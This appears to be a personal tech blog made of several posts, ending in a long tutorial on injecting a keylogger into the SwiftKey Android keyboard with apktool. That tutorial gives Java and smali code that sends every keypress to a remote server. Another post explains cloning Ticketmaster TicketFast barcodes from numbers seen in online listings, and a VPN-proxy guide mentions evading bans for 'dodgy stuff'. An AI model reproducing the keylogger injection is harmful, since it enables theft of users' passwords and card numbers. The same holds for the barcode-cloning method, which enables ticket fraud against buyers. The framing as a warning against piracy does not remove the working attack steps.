Is Glide RecyclerView caching worth it?

If you’re coding an Android app and using the fantastic Glide library to load images in a RecyclerView, you’ll probably Google [glide recyclerview] to see if there is any gotchas like potential memory leaks or something. The first result in the SERP is the Glide docs about using RecyclerViewPreloader to load images ahead of a user scrolling. It’s kind of complicated to integrate and when I was setting it up, I asked myself is it even worth the bother compared to the gloriously simple Glide.with(view.context).load(url)?

After investigation, I’m going to say a reluctant yes if a lot of your users will have poor Internet. If most of your users have good Internet, then it really makes no difference.

I recorded videos of an Espresso test that loads the RecyclerView fragment, on the left with no preloader and on the right with it enabled. Both tests are the same otherwise; sleeps for 15 seconds to give a chance for the preloader (or not) to work its magic, scrolls 10 times through the list while sleeping 1.5 seconds every scroll before finally sleeping 5 seconds at the last position. The Espresso tests were run on a tablet with Charles proxy throttling the connection at 1megabit. I put both videos side-by-side while trying to lineup the scrolls as closely as possible, it’s a small bit off but it’ll do:

Espresso test videos side-by-side

You can judge the results for yourself. Sure, the preloader on the right does do something on a throttled connection of 1megabit while the user is scrolling through quickly. But at the end when the user stops for 5 seconds, the normal Glide has loaded a few images as you’d expect. I would say this is sufficient as a low bandwidth user probably only wants images to load where they’re spending time looking at.

Remember this is on a throttled connection. On most phones with good internet that can play Youtube videos all day, none of this matters and the preloader is definitely not worth the hassle.

Memory cache EngineKey

Another thing I noticed is how easy it is to miss the cache. Your EngineKey hashcode for your image in your preloader has to match exactly the image that’s loaded in the onBindViewHolder or else it’ll be a fresh load. You can verify this by turning on Glide logging with adb shell setprop log.tag.Engine VERBOSE and checking your LogCat for either ‘Loaded resource from cache’ or ‘Loaded resource from active resources’ for a memory cache hit or ‘Started new load’ for a miss. Your preloader and bind code might match exactly but the bind might implicity do a transform which will mean a different hashcode for the image. I had to specify .dontTransform() and .override(640,640) in my code.

But it actually doesn’t really matter if Glide has to do a fresh load as the preloader has already saved the image to the disk cache assuming you got the URLs the same at least. So it’s probably not even noticeable.

Remember that RecyclerViewPreloader is for caching images in memory which in turn caches images to disk. But there’s easier ways to cache to disk only.

These are just a few of my findings while playing with Glide. It’s very possible I got things very wrong, so correct me in the comments if I did.

How to record Youtube live streams on a Linux server

Coachella streams a load of their sets every year on Youtube and nobody seems to record them all. So I had to volunteer starting in 2015. Some rips you find are one-off screen recordings using some software like Camtasia, which nearly always drop frames and are kinda shit. You have to record directly from the Youtube source for the best quality. youtube-dl is great but is designed for downloading normal Youtube videos and I never got it working to record live. The only thing that worked for me was livestreamer, which was discontinued but was forked as streamlink. Here’s my streamlink command which worked for recording Coachella 2018 channel 1:
streamlink --http-no-ssl-verify best -o "output.ts"

I had a problem with SSL certs so had to add a no-verify but you probably don’t need it. Run that command and streamlink should start recording. Ctrl+C to stop recording. You’re now left with a .ts transport stream file which Youtube broadcasts in to help with error correction over the Internet. You can play these .ts files in VLC and MPC but seeking in them is annoyingly slow and VLC can sometimes play the audio out of sync. Also, they don’t seem to have a table of contents or whatever it’s called, so they’re missing a duration. This is bad for me as I need to play the video files direct from the server and pick the start and stop times to cut the Coachella streams into individual sets. So I prefer to convert to MP4 using ffmpeg, with this command:
ffmpeg -i input.ts -acodec copy -bsf:a aac_adtstoasc -vcodec copy output.mp4

If you’re recording a long Youtube live stream, like I am with the 9 hour Coachella streams, sometimes the stream can fail for whatever reason. Youtube seems to always break at 6 hours. You need a way for Streamlink to start back up if it fails so you don’t miss anything. The only solution I could come up with is a while true loop in a streamlink bash shell script.
#! /bin/bash
while true;
while [[ -e $dir/ts_segments/$name-$i.ts ]] ; do
let i++
streamlink --http-no-ssl-verify best -o "$dir/ts_segments/$name.ts";

Note that when you run this bash script, you can’t just stop it with Ctrl+C. It’ll restart the streamlink command like it’s supposed to. You have to kill -9 it. Find the PID of the bash script with ps -ef and kill it. You’re left with an orphaned streamlink command which you’ve to kill -9 as well, but it won’t restart as the bash script was already killed. Make sure you understand how to stop the shell script before starting it!

The shell script will start with saving the .ts files to sunday_ch1/ts_segments/coachella_ch1-1.ts. The while -e line returns true if the file exists, and if so increments i by one to ensure you always write sequentially. So when the script restarts, it writes to coachella_ch1-2.ts and won’t overwrite coachella_ch1-1.ts and so on.

I run my bash scripts in screensessions so I can log out of the server and let it do its thing. So that’s my recording setup. Other stuff I do is cut the long streams into individual sets with ffmpeg, add those sets to my database, upload them to Mega or Google Drive using the APIs so I get the Mega/GDrive link into the database and output the links into a formatted Reddit post, but that’s all outside the scope of this blog post.

Hope this helps someone! Leave a comment if you’ve any questions, don’t email me.

Ticketmaster Ticketfast Barcode Format

If you’ve ever bought tickets to a big sporting or music event, you’ve probably had to deal with TicketMaster and their extortionate handling fees. They charge it even if you’re using the print-at-home eTicket format called TicketFast. These tickets have a 16 digit number and barcode that is scanned at the gate against a database of purchases. I assumed this barcode was some kind of proprietary format to make it harder to clone tickets if you knew a valid number but it turns out it’s just an interleaved 2 of 5 barcode.

This doesn’t matter as long as customers keep their 16 digit number secret but a simple search of eBay and other buy/sell sites often have photos of seller’s printouts. As long as you can make out the number, you can create a barcode and paste it over another TicketFast and clone the ticket. Then you just need to get to the venue before the real ticketholder and their ticket won’t scan at entrance. Here’s some images I found on eBay, DoneDeal and Gumtree coming up to Electric Picnic recently. It was sold out and demand was high. I presume showing these tickets is OK now seeing as the festival is over.


Lol at this one. They blacked out all information except the important stuff.
Lol at this one. They blacked out all information except the important stuff.

I used this fantastic Barcode PHP library to generate the new barcodes. I needed to make a few adjustments to the code to get the barcodes looking the same as the TicketMaster ones but I think they ended up good. Take the last image as an example. You can just about make out the number to be: 3458 4242 6099 3291

And here’s my generated barcodes in both horizontal and vertical format:


They scanned fine on my Android barcode reader but I obviously didn’t test at the festival entrance with real stolen tickets as I’m not a scumbag and I had my own two real hardcopy tickets. I’m surprised nobody is stealing tickets like this as you always can find these numbers on the auction sites. Or maybe they are on the sly. Has anyone ever been refused at an entrance with printed tickets? They probably just blamed their seller but it could have been a randomer who just got the number, printed out new tickets and got to the venue early.

I think Ticketmaster should educate buyers more about how important the number is and to always pixelate when displaying online. Or they could have used a proprietary barcode format which would make cloning much more difficult.

Android chown recursively

Stock Android chown in /system/bin/chown doesn’t support the recursive switch which I discovered when I was trying to manually change owners and groups on an app folder.
chown -R u0_a160:u0_a160 databases/
resulted in the error message No such user '-R'.

So you need to use Android Busybox chown:
busybox chown -R 10160:10160 databases/

Install Busybox first if you don’t have it, obviously. Note you need to use numeric UID/GIDs with busybox chown or you’ll get an unknown user error message. Find numeric owners and groups with the -n switch: busybox ls -l -n /data/data

Ross Ulbricht, alleged Silk Road founder, StoryCorps Interview with Rene? Pinnell

Just got a copyright strike on my Youtube account from the ‘Ross Ulbricht Legal Defense Fund LLC’ for an interview he did with a friend that I reuploaded to my account.


Now I’ve a copyright strike and all my videos are limited to 15 minutes. Pretty fucking pissed because if they just sent me a message on Youtube I would have gladly taken it down. So out of spite, I’m reuploading here:

Download link, save link as:

Forbes announce Ireland as best country for business – But it didn’t make the print magazine

There’s nothing Irish people like more than being told how great they are by outsiders and sure aren’t we the greatest little country on Earth to be sure. So the press release yesterday that Ireland topped the Forbes list of best countries to do business with was reprinted by nearly all of the national media and tweeted by so much of the Irish Twitterati that some had to filter it.

But Forbes must not have thought much of the list as it didn’t make their print edition! Maybe I’m mistaken but I downloaded the Dec 16th PDF and couldn’t find a reference to it anywhere. Download here yourself and have a look. Forbes seem to have a website with a combination of editorial pulled from their magazine and then random articles from contributors. Here’s an article that is in the Dec 16th issue. Note the ‘This story appears in the December 16, 2013 issue of Forbes.’ header at the top.

The Irish article doesn’t have this header. The quality of contributions that make the website but not the magazine is questionable. Here’s a website article claiming that the Third Space cafe in Smithfield is going to take down Starbucks.

So Forbes seems to be turning itself into a Buzzfeed style content farm. And one of the random stories that a writer might have made to hit his quota for the week has a whole nation patting itself on the back.

How to serve files with a simple and quick PHP BitTorrent tracker

I needed to share some raw video files with a friend lately so I uploaded 17GB of data to my webserver and sent them the HTTP link. Problem was the video files were scattered over several directories and the directory structure was important so the end user would have had to download each one individually if they didn’t have some sort of download manager to download all. I could have given them anonymous FTP access but the end user isn’t that technical so I had to keep it as simple as possible. I could have zipped up the files on the server but that was taking ages for 17GB and would be a disaster if somehow the big ZIP file corrupted.

So I decided to make a torrent of the data. The great thing about torrents is nearly everybody knows how to use them no matter how technophobic they are as they all want to download Game of Thrones every Monday morning. I already have rtorrent and mktorrent on my Linux server so I already had a way to seed and a way to create the actual torrent files. I was just missing a tracker. I wanted the quickest and simplest option, and I found it in Bitstorm via an article on TorrentFreak.

You can download BitStorm’s one file of PHP source here.

1) Save as ui.php and upload to your web server to a publicly accessible folder. So your URL should be something like
Notice the port number of 80, the standard HTTP port. You need to specify this in your torrent files as a BitTorrent tracker can be on any port and won’t default to 80.
2) Change permissions so script has write access to /dev/shm/ to track peers. So chmod 0755 ui.php or something like that.
3) Create the torrent file of the folders you want to transfer with mktorrent and the announce URL of your ui.php file. eg mktorrent --announce= folder_of_files/
4) Start a rtorrent instance where your folder_of_files is and add your new torrent. It should do a hash check and start seeding. It’s best to open rtorrent in a screen so you can leave it running.
5) Send the torrent to whoever you want to download the files.

Damn, it feels weird using BitTorrent in legal ways!

How to disable Clickberry appearing on your Youtube videos

Like me, have you suddenly started seeing a ‘tag’ feature on your Youtube videos, that when clicked show a ‘Share moment’ and ‘Share object’ option and a little icon of a berry appears on your Youtube play bar? And when you click this berry icon, it brings you to Looks like this:


When Clicked
When Clicked

I thought the tag thing was a new feature of Youtube along with the Google+ comments but it’s actually added by a Chrome extension gone rogue called ‘FVD Video Downloader‘. You might remember that extension asking for more permissions in the last few days. Just uninstall and Clickberry will be gone from your Youtube.

How to use Overplay and other VPNs as a cURL proxy

UPDATE May 2015

When I posted this tutorial two years ago, I gradually got comments that the OpenVPN interface was setup successfully but curl traffic through the interface timed out. I tried to help but responded with the cliched ‘works on my machine’, with my machine being Debian Squeeze and kernel version 2.6. Recently I upgraded my server to Debian Jessie, kernel 3.14 and OpenVPN 2.3.4 and got the timeout problem that everyone was talking about. If I’d to guess, I’d say it’s some change in the kernel and routing tables but I really have no idea. But fear not, a random commentator from May 2014 called William Asssaad saved us all. We need to add a routing table for the VPN interface after it’s all setup. You can do it manually with the ip route add and ip rule add commands but I prefer to do it in a shell script, which I got from this blog post:

Proxies are like hard drive space, you can never have enough. Or enough IPs to be more accurate as Facebook, Google and other services are getting better at flagging the IPs of popular HTTP/SOCKS5 proxies. So we need to find fresh proxies to use in our PHP/Python scripts. A great source is the proliferation of VPN services that are popping up as consumers worry more about their Internet privacy. Problem is these are intended for use by endusers on their desktops and not in serverside PHP scripts. So it’s a bit tricky to get these working with cURL, but fear not, I explain all in this post.

The magic of being able to use a VPN in cURL is the CURLOPT_INTERFACE option. This lets you set the network interface that cURL uses. You can’t use a VPN directly in cURL as cURL/PHP operates on a higher network level than the VPN protocol.

So we need to setup the VPN on a new interface. Note that you absolutely need root access to your server to create interfaces so this guide is only useful for people with their own dedicated servers. People on shared $2/month servers are shit out of luck. You might get it working on a VPS, I’ve no idea. So to create an interface, you need to download and install OpenVPN if you haven’t it installed already. There’s loads of info online to help you do this, so figure it out and come back.

Next we need to get the configuration files we need from our VPN provider of choice. I use You need an account with them and it cost something like $5 a month. Download the ZIP file of connection files and unzip on your server in a new directory. Also download the Overplay public key certificate and make sure it’s in the same directory:
curl --insecure -o
unzip -u
curl --insecure -o OverplayCert.crt

Now we have the connection files which work fine if you run Linux as your desktop OS and just want to browse the web as described in this Overplay guide. But we DO NOT want to just start the VPNs as is as it will take over the main Internet connection and make your server inaccesible. I did this a few times and had to get my host to reboot my server.

So we need to edit the configuration files and add one command, route-nopull. This prevents Overplay from taking over the routing information. If you take one thing away from this blogpost, it’s the addition of the route-nopull option as it’s what lets you use these config files on your server.

May 2015: we need to change route-nopull to these 3 commands I got from this blogpost:
script-security 2
route-up /root/

route-up is the imporant bit, it runs the shell script at /root/ when the interface is created. Here’s the contents of


echo "$dev : $ifconfig_local -> $ifconfig_remote gw: $route_vpn_gateway"

ip route add default via $route_vpn_gateway dev $dev table 20
ip rule add from $ifconfig_local table 20
ip rule add to $route_vpn_gateway table 20
ip route flush cache

exit 0

I also want to add my login as a file so I don’t have type it everytime. So create a new file in the same directory and name it ‘auth_overplay’ or whatever you want. Enter your username and password, seperated by a newline. So if we’re taking the ‘Overplay – Ireland-1.conf’ file as our example, our config would now look like this. Our additions are in bold at the bottom:
dev tun
proto udp
remote 1443

resolv-retry infinite
ca OverplayCert.crt
verb 5
route-method exe
route-delay 2

tun-mtu 1500
tun-mtu-extra 32
mssfix 1450

script-security 2
route-up /root/
auth-user-pass auth_overplay

Note we also added daemon at the end, but commented it out. You can uncomment this when you’ve got everything working and want to start the VPN as a daemon so you can use it without having to have the SSH window open.

Now start up the VPN with OpenVPN:
openvpn "Overplay - Ireland-1.conf"

If everything works, you should see output like this:
Fri Jul 26 21:05:13 2013 us=31236 OpenVPN 2.1.3 x86_64-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [MH] [PF_INET6] [eurephia] built on Feb 21 2012
Fri Jul 26 21:05:13 2013 us=31325 WARNING: No server certificate verification method has been enabled. See for more info.
Fri Jul 26 21:05:13 2013 us=31331 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables
Fri Jul 26 21:05:13 2013 us=31678 LZO compression initialized
Fri Jul 26 21:05:13 2013 us=31725 Control Channel MTU parms [ L:1574 D:138 EF:38 EB:0 ET:0 EL:0 ]
Fri Jul 26 21:05:13 2013 us=31748 Socket Buffers: R=[124928->131072] S=[124928->131072]
Fri Jul 26 21:05:13 2013 us=31766 Data Channel MTU parms [ L:1574 D:1450 EF:42 EB:135 ET:32 EL:0 AF:3/1 ]
Fri Jul 26 21:05:13 2013 us=31777 Local Options String: 'V4,dev-type tun,link-mtu 1574,tun-mtu 1532,proto UDPv4,comp-lzo,cipher BF-CBC,auth SHA1,keysize 128,key-method 2,tls-client'
Fri Jul 26 21:05:13 2013 us=31781 Expected Remote Options String: 'V4,dev-type tun,link-mtu 1574,tun-mtu 1532,proto UDPv4,comp-lzo,cipher BF-CBC,auth SHA1,keysize 128,key-method 2,tls-server'
Fri Jul 26 21:05:13 2013 us=31794 Local Options hash (VER=V4): 'd3a7571a'
Fri Jul 26 21:05:13 2013 us=31802 Expected Remote Options hash (VER=V4): '5b1533a2'
Fri Jul 26 21:05:13 2013 us=31811 UDPv4 link local: [undef]
Fri Jul 26 21:05:13 2013 us=31816 UDPv4 link remote: [AF_INET]
WRFri Jul 26 21:05:13 2013 us=37221 TLS: Initial packet from [AF_INET], sid=a552afa0 928c908a
WFri Jul 26 21:05:13 2013 us=37266 WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
Fri Jul 26 21:05:13 2013 us=72206 VERIFY OK: depth=0, /C=US/ST=IL/L=Chicago/O=OVERPLAY.NET_LLP/OU=SERVERS/CN=vpn1-us/
WRWRWRWRWWRRWWWWRRRRWRWRFri Jul 26 21:05:13 2013 us=472472 Data Channel Encrypt: Cipher 'BF-CBC' initialized with 128 bit key
Fri Jul 26 21:05:13 2013 us=472487 Data Channel Encrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
Fri Jul 26 21:05:13 2013 us=472528 Data Channel Decrypt: Cipher 'BF-CBC' initialized with 128 bit key
Fri Jul 26 21:05:13 2013 us=472534 Data Channel Decrypt: Using 160 bit message hash 'SHA1' for HMAC authentication
WFri Jul 26 21:05:13 2013 us=472560 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA
Fri Jul 26 21:05:13 2013 us=472576 [vpn1-us] Peer Connection Initiated with [AF_INET]
Fri Jul 26 21:05:15 2013 us=598837 SENT CONTROL [vpn1-us]: 'PUSH_REQUEST' (status=1)
WRRWRWRFri Jul 26 21:05:15 2013 us=604235 PUSH: Received control message: 'PUSH_REPLY,redirect-gateway def1,dhcp-option DNS,route,topology net30,ping 10,ping-restart 120,ifconfig'
Fri Jul 26 21:05:15 2013 us=604257 Options error: option 'redirect-gateway' cannot be used in this context
Fri Jul 26 21:05:15 2013 us=604275 Options error: option 'route' cannot be used in this context
Fri Jul 26 21:05:15 2013 us=604293 OPTIONS IMPORT: timers and/or timeouts modified
Fri Jul 26 21:05:15 2013 us=604297 OPTIONS IMPORT: --ifconfig/up options modified
Fri Jul 26 21:05:15 2013 us=604301 OPTIONS IMPORT: --ip-win32 and/or --dhcp-option options modified
Fri Jul 26 21:05:15 2013 us=604472 TUN/TAP device tun0 opened
Fri Jul 26 21:05:15 2013 us=604485 TUN/TAP TX queue length set to 100
Fri Jul 26 21:05:15 2013 us=604507 /sbin/ifconfig tun0 pointopoint mtu 1500
WFri Jul 26 21:05:17 2013 us=671302 Initialization Sequence Completed

Now open a new SSH session as root and enter ifconfig to see the list of network interfaces. You should see your proxy listed with the interface name tun0 or something like that.

Some OverPlay servers don’t complete the TLS handshake for me but I’m thinking that was because they were old IPs. Overplay seems to change actual proxy servers a lot.

If you see the tun0 interface in ifconfig, then it worked, probably. Test it with cURL on the command line:
curl --interface tun0

Replace tun0 with whatever your interface is called. is a simple site that outputs your IP and nothing else and has been online for 3 years so hopefully it stays online. If everything works, the site should output the IP of Overplays proxy and not your server IP.

To use the interface in your PHP scripts, you’d set it with something like this:
curl_setopt($curlh, CURLOPT_INTERFACE, "tun0");

I found from experience that PHP/cURL defaults to using the standard network interface if something doesn’t work, so it grabs pages using your real IP! This can be a disaster if you’re doing dodgy stuff and don’t want to get banned from FB or Google. For this reason, I always grab in my scripts and check to make sure it’s not my server IP.

Well that’s about it. I also wrote a few PHP scripts that automatically download the Overplay config files, edit them, check what country the IP is and add them to a MySQL table. Then I’ve other PHP code that just queries the table grabbing a random proxy from the country I need. I’ll do a blogpost and share that code if anyone actually reads this one and comments. And also comment if you run into any trouble, I’m usually quick to answer.

Inserting keylogger code in Android SwiftKey using apktool

Piracy on Android is a very big problem but I wonder do users realise how easy it is to inadvertently download apps with malware. Cracked copies of PC and iPhone apps can have malware as well of course but on both those platforms most software is compiled to machine code. Android apps are coded in Java and compiled to byte code that is run on the Dalvik VM and this byte code is not that hard to edit and insert back into an APK.

SwiftKey Keyboard is the top paid app in the Play store at the moment and it’s a great app, best €4 I spent but I knew it’d be heavily pirated at that price. Now your standard malware-ridden Android app or game might have some code that sends you annoying notification ads but anyone who sideloads a dodgy copy of a Android keyboard is taking a serious risk of a keylogger being inserted and people tracking all their passwords, Google searches and Credit Card numbers. In this post, I’ll show you how to do exactly that with apktool and Swiftkey from start to finish, all you need is a basic knowledge of Java and Android.

The end result is this Keylogger SwiftKey APK that sends all keylogs to my server. Try it out for yourself, download and install the modified APK, start using it and visit my logger page at, select your IP and see your keylogs being sent. Scary huh? Goes without saying, be sure to uninstall the app when you see how it works! Continue reading below to see how to do it. 

SwiftKey APK

First you’ve got to understand the Android file format that SwiftKey and all other Android apps are in. The Android package, or APK, is the container for an Android app’s resources and executables. It’s a zipped file that for SwiftKey contains simply:

  • AndroidManifest.xml (serialized, but apktool decodes to source)
  • classes.dex
  • lib/
  • assets/
  • res/

The actual bytecode of the application is the classes.dex file, or the Dalvik executable that runs on the device. The application’s resources (i.e. images, sound files) reside in the res directory, and the AndroidManifest.xml is more or less the link between the two, providing some additional information about the application to the OS. The lib directory contains native libraries that Swiftkey uses via NDK, and the META-INF directory contains information regarding the application’s signature.

The Tools

There’s a few different tools out there to decompile, compile and resign APKs. All the decompilers are based on or use smali to decompile/compile the classes.dex file. apktool wraps up a few of these tools in one but you still have to re-sign and then install on a device. So then there’s APK multitool which wraps apktool, keytool and other things to let you press one button and have your edited code compiled, zipped, signed and installed to your device via adb all in one go. So download that and set it up but remember it’s just a collection of other tools.

Disassembling SwiftKey

Once you’ve installed APK multitool, you’d normally place your APK in the ‘place-apk-here-for-modding’ folder, open up Script.bat and enter 9 to decompile source and resources. Unfortunately SwiftKey throws errors when you try and recompile resources as it has capitalised resource filenames and was probably compiled with a modified aapt. We call these magick APKs and apktool can’t recompile edited resources but we can still compile edited smali code, which is all we want to make our keylogger anyway.

So enter 27 to change the decompile mode to ‘Source Files only’, then enter 9 to decompile. If nothing goes wrong, there’ll be a folder created inside projects called ‘com.touchtype.swiftkey-1.apk’ containing:

  • AndroidManifest.xml (still serialized, remember we didn’t decompile resources)
  • res/ (same as in APK)
  • smali/
  • apktool.yml

The smali directory is probably the most important of the three, as it contains a set of smali files, or bytecode representation of the application’s dex file. You can think of it as an intermediate file between the .java and the executable. Inside the directory we have ‘com’,’oauth’ and ‘org’. We’re looking for code that we can place our keylogger so we can ignore oauth as that’s obviously a library for oauth access. org contains some Apache Commons library so that can be ignored as well. Inside com, android and google directories are to be ingored as well, it’s the touchtype and touchtype_fluency directories that we’re interested in.

I’ve done the hard work already and found what we’re looking for in the ‘touchtypekeyboardinputeventmodelevents’ directory. Go there and open up KeyInputEvent.smali in a text editor. We’re very lucky that SwiftKey isn’t ProGuard protected which obfuscates code and really slows down reverse engineering but never makes it impossible.

Reading the Smali

So let’s examine some of the KeyInputEvent smali code:

.class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;
.super Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;
.source ""

# direct methods
.method public constructor (Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
    .locals 0
    .parameter "extractedText"
    .parameter "inputText"

    .line 8
    invoke-direct {p0, p1, p2}, Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;->(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V

    .line 9
.end method

This class seems to be called whenever the user makes a single keypress in SwiftKey but not when using flow. The constructor is what we’re looking at and is called with 2 parameters, an instance of a ‘com/touchtype_fluency/service/TouchTypeExtractedText’ class and a CharSequence which is the key pressed. We want to send this key to our servers so we need to insert the code here. If you’re a smali expert you can code it directly and compile but we’re not so we’ll code some in Java first, decompile and copy the smali over. We also want to send it in an AsyncTask as the keyboard is way too slow without it. This is my Java code which we’ll call, part of a package called ‘com.androidapps.tutorial’:

protected void onCreate(Bundle savedInstanceState) {

CharSequence cs = "Hi how are u";
HashMap<String, String> data = new HashMap<String, String>();
data.put("data", cs.toString());
AsyncHttpPost asyncHttpPost = new AsyncHttpPost(data);

public class AsyncHttpPost extends AsyncTask<String, String, String> {
private HashMap<String, String> mData = null;// post data

* constructor
public AsyncHttpPost(HashMap<String, String> data) {
mData = data;

* background
protected String doInBackground(String... params) {
byte[] result = null;
String str = "";
HttpClient client = new DefaultHttpClient();
HttpPost post = new HttpPost(params[0]);// in this case, params[0] is URL
try {
// set up post data
ArrayList nameValuePair = new ArrayList();
Iterator it = mData.keySet().iterator();
while (it.hasNext()) {
String key =;
nameValuePair.add(new BasicNameValuePair(key, mData.get(key)));

post.setEntity(new UrlEncodedFormEntity(nameValuePair, "UTF-8"));
HttpResponse response = client.execute(post);
StatusLine statusLine = response.getStatusLine();
if(statusLine.getStatusCode() == HttpURLConnection.HTTP_OK){
result = EntityUtils.toByteArray(response.getEntity());
str = new String(result, "UTF-8");
catch (UnsupportedEncodingException e) {
catch (Exception e) {
return str;

* on getting result
protected void onPostExecute(String result) {
// something...

When we export this from Eclipse as an APK, decompile and look at the directory we find 2 files, MainActivity.smali and MainActivity$AsyncHttpPost.smali. The ‘$’ in the filename means it’s the AsyncHttpPost inner class. Let’s look at the onCreate of MainActivity:


.method protected onCreate(Landroid/os/Bundle;)V
.locals 6
.parameter "savedInstanceState"

.line 146
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

.line 149
const-string v1, "Hi how are u"

.line 150
.local v1, cs:Ljava/lang/CharSequence;
new-instance v2, Ljava/util/HashMap;

invoke-direct {v2}, Ljava/util/HashMap;->()V

.line 151
.local v2, data:Ljava/util/HashMap;,"Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;"
const-string v3, "data"

invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;

move-result-object v4

invoke-virtual {v2, v3, v4}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;

.line 152
new-instance v0, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;

invoke-direct {v0, p0, v2}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->(Lcom/androidapps/tutorial/MainActivity;Ljava/util/HashMap;)V

.line 153
.local v0, asyncHttpPost:Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;
const/4 v3, 0x1

new-array v3, v3, [Ljava/lang/String;

const/4 v4, 0x0

const-string v5, ""

aput-object v5, v3, v4

invoke-virtual {v0, v3}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;

.line 158
.end method

So we better explain some of this code. The first line is the smali method definition of onCreate with the Bundle parameter passed in and the return type at the end, which is V for void. Java primitives are denoted by a single letter and can be missed sometimes so keep an eye out for them.

V	 void
Z	 boolean
B	 byte
S	 short
C	 char
I	 int
J	 long (64 bits)
F	 float
D	 double (64 bits

Next line is very important for us, it declares how many local registers are to be used in this method without including registers allocated to the parameters of the method. The number of parameters for any given method will always be the number of input parameters + 1. This is due to an implicit reference to the current object that resides in parameter register 0 or p0 (in java this is called the “this” reference). The registers are essentially references, and can point to both primitive data types and java objects. Given 6 local registers, 1 parameter register, and 1 “this” reference, the onCreate() method uses an effective 8 registers

For convenience, smali uses a ‘v’ and ‘p’ naming convention for local vs. parameter registers. Essentially, parameter (p) registers can be represented by local (v) registers and will always reside in the highest available registers. For this example, onCreate() has 6 local registers and 2 parameter registers, so the naming scheme will look something like this:

v0 - local 0
v1 - local 1
v2 - local 2
v3 - local 3
v4 - local 4
v5 - local 5
v6/p0 - local 6 or parameter 0 (this)
v7/p1 - local 7 or parameter 1 (android/os/Bundle)


Dalvik opcodes are relatively straightforward, but there are a lot of them. For the sake of this post’s length, we’ll only go over a few of the most commonly used opcodes.

  1. invoke-super vx, vy, … invokes the parent classes method in object vx, passing in parameter(s) vy, …
  2. new-instance vx creates a new object instance and places its reference in vx
  3. invoke-direct vx, vy, … invokes a method in object vx with parameters vy, … without the virtual method resolution
  4. const-string vx creates string constant and passes reference into vx
  5. invoke-virtual vx, vy, … invokes the virtual method in object vx, passing in parameters vy, …
  6. return-void returns void

Hacking the App

Now that I’ve explained a bit of what the code means, let’s inject it into the KeyInput file of SwiftKey. Note in our exported Smali from MainActivity that it references the ‘com/androidapps/tutorial’ package so we need to change that to the package where KeyInput is which is ‘com/touchtype/keyboard/inputeventmodel/events/’. So open up both MainActivity.smali and MainActivity$AsyncHttpPost and do a search and replace changing ‘com/androidapps/tutorial/MainActivity’ to ‘com/touchtype/keyboard/inputeventmodel/events/KeyInputEvent’.

Next we’ve to ensure we have the right amount of registers in the SwiftKey KeyInputEvent to support our new method calls. We can see that the original constructor uses no local variables and our MainActivity uses 6 so just set locals 0 to locals 6. Then copy our new code in, just before the return void of the constructor. In our injected code, the v1 local variable holds the CharSequence ‘Hi how are u’ which is converted to a String in the ‘invoke-interface {v1}, Ljava/lang/CharSequence;->toString’ line. We need to make the code use the CharSequence key the user pressed which is the second parameter so change v1 to p2.  Next copy over our AsyncTask inner class into the same folder as KeyInputEvent.smali and rename it to KeyInputEvent$AsyncHttpPost. Make similiar changes to the TextInputEvent.smali file in the same directory if you want to track SwiftKey flows as well.

Rebuilding, Signing and Installing the Apk

Before it was a bit of work to do these three steps but with APK multitool all you need to do is enter 15 in your project with your phone connected and the app should install. If you encountered any errors, post a comment below and I’ll help you out. I might have left a few things out of this tutorial for brevity’s sake. If it all worked and you didn’t change the POST URL, just start using the keyboard and check my page at to see what keys are being sent from different IPs! Scary huh? Moral of the story if you want to avoid keyloggers or other malware from your Android? Stick to the Play store and don’t pirate apps!